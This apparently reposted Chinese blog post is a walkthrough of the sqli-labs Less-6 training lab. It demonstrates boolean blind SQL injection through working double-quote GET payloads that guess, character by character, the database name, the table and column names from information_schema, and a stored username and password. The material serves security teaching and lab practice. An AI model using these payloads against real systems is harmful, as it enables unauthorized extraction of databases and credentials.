【SQL注入】Less-6双注入GET双引号字符型注入

Less-6双注入GET双引号字符型注入

本实验于上一个实验Less-5双注入GET单引号字符型注入手法上几乎一致!区别在于payload中'单引号改为"双引号!也就是在本实验中,你可以用Less-5实验中的payload;不过本实验将用另外一种方法来完成该实验的sql注入。

实验开始

布尔型注入简称盲注,正确会回显,错误没有回显,以此为依据逐字进行想要的字段或者命名进行猜解爆破;在上诉实验中我们已知:数据库名security表名users字段nameuser password
手工注入时可使用例如left((select database()),1)<’s’ 这样的比较排序第几位的二分查找方法快速猜解爆破。

1、爆开数据库表

payload1正确并返回回显示,表的开头排序第一位为s

?id=1" and left((select database()),1)='s'--+

payload2正确并返回回显示,表的开头排序第一位不是i,但前面有i

?id=1" and left((select database()),1)>'i'--+

payload3错误并无返回,表的开头排序第一位后面没有i

?id=1" and left((select database()),1)<'i'--+

left((select database()),1)<'s'1表示当前有1个字符取开头1个字符来猜测是否存在,这个顺序是前到后,是有顺序的,很好理解;如果更换为8,那么就表示当前有8个字符取8个字符来猜测是否存在;故此s要改为security刚好8个字符8个排序,8个字符一起对比是正确还是错误。

综合上面的方法我们可以很快得知表名为security

2、爆开表名

payload1 从limit 的第1个数据第1行数据开始猜解

?id=1" and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='u' --+

payload2 从limit 从第5条数据取第1条数据开始猜解;limit 4,1 表示第5条数据,程序世界的排序01234

?id=1" and left((select table_name from information_schema.tables where table_schema=database() limit 4,1),1)='u' --+

*修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users

3、爆列名(字段)

payload 正确并返回回显示,该表有8个排序,8个字符,等于password

?id=1" and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

4、爆字段

payload

?id=1" and left((select password from users order by id limit 0,1),1)='d' --+

5、爆用户名

payload

?id=1" and left((select username from users order by id limit 0,1),1)='d' --+

使用order by按照id来排序,limit 从0开始到需要的字段.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

布尔型的盲注比较烦全靠猜,玩的是智商,还有基础知识要牢固。

猜你喜欢

转载自blog.csdn.net/Mitchell_Donovan/article/details/115335887
今日推荐